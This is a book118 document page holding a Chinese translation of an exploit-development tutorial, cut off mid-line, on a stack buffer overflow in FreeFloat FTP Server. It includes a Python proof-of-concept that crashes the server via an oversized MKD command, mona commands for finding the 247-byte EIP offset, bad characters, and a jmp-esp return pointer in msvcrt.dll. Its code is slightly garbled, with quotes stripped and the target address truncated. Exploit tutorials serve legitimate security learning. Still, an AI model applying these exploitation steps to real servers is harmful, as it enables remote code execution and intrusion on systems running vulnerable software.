栈溢出覆盖返回地址.PDF

  1. 1、本文档共9页,可阅读全部内容。
  2. 2、原创力文档(book118)网站文档一经付费(服务费),不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。
  3. 3、本站所有内容均由合作方或网友上传,本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺!文档内容仅供研究参考,付费前请自行鉴别。如您付费,意味着您自己接受本站规则且自行承担风险,本站不退款、不进行额外附加服务;查看《如何避免下载的几个坑》。如果您已付费下载过本站文档,您可以点击 这里二次下载
  4. 4、如文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“版权申诉”(推荐),也可以打举报电话:400-050-0827(电话支持时间:9:00-18:30)。
查看更多
栈溢出覆盖返回地址

栈溢出覆盖返回地址 译者:Netfairy 溢出返回地址 漏洞利用系列教程第二部分, 这部分我将用 ”FreeFloat FTP”演示栈溢出覆盖返回地址, 假设 我们能够控制EIP 并且同时有一个寄存器指向我们可控的缓冲区. 这里有有几个写好的利用 程序:这里. 一般地, 在漏洞利用过程中, 我们首先需要分析坏字符. 对于第一篇教程, 我决定使用 exploit-db 上 metasploit 模块列出的坏字符. 这个软件的坏字符是”\x00\X0a\X0D”. 请记住它 们. 漏洞利用环境: Backtrack5 调试机器: Windows XP PRO SP3 漏洞软件:下载 重现崩溃 首先, 我们创建一个针对FTP SERVER 的漏洞利用框架. 后续我们将在它的基础上开发我们的 漏洞利用程序. exploit-db 上”FreeFloat FTP”的POC 如下, 我们使用FTP server 默认配置已经存 在的账户名”anonymous”: #!/usr/bin/python import socket import sys evil = A*1000 s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) connect=s.connect((28,21)) s.recv(1024) s.send(USER anonymous\r\n) s.recv(1024) s.send(PASS anonymous\r\n) s.recv(1024) s.send(MKD + evil + \r\n) s.recv(1024) s.send(QUIT\r\n) s.close 好, 当我们用调试器附加FTP server 然后发送POC 给程序, 程序崩溃. 从下面的截图可以看 到EIP 已经被覆写, 两个寄存器(ESP EDI)指向我们可控的缓冲区. 分析之后我发现使用ESP 更 合适因为ESP 包含了更大块的可控内存.(顺便提一下用EDI 同样也可以). 改写EIP 接下来分析这个崩溃, 为了方便我用metasploit 模式字符串替换替换前面的AAAAA…., 注意 保持原始的缓冲区大小, 变化大小可能会影响崩溃. 当程序再次崩溃, 再看看EIP 已经被metasploit 模式字符串覆写. 现在是时候出动”mona”了. 使用下面的命令分析程序崩溃, 你可以看到下面的结果. 由上图我们可以知道EIP 在247 字节后被覆盖. 同样看看ESP 指向的缓冲区包含了更多我们 可控的空间. 知道这些信息后, 我们重新布置脚本如下: Evil= “A”*247 + “B”*4 +”C”*749 再次运行这个脚本, 结果正如所料. EIP 被覆写为BBBB. 这意味着我们可以用一个指针替换BBBB, 将程序重定向到ESP 所指的地方. 唯一需要注意的 是这个指针不能包含坏字符. 可以使用”mona” !mona jmp –r esp 搜索这个指针. 下图是结果: 似乎这些指针都可以. 它们特定于”WinXP PRO SP3”的系统dll 模块. 但这不是我们首要关注 的.我们用列表第一个指针. 记住: 由于cpu 是小序,所以指针需要逆序. Pointer: 0x77c35459 : push esp # ret | {PAGE_EXECUTE_READ} [msvcrt.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v7.0.2600.5701 (C:\WINDOWS\sy

您可能关注的文档

文档评论(0)

2105194781 + 关注
实名认证
内容提供者

该用户很懒,什么也没介绍

1亿VIP精品文档

相关文档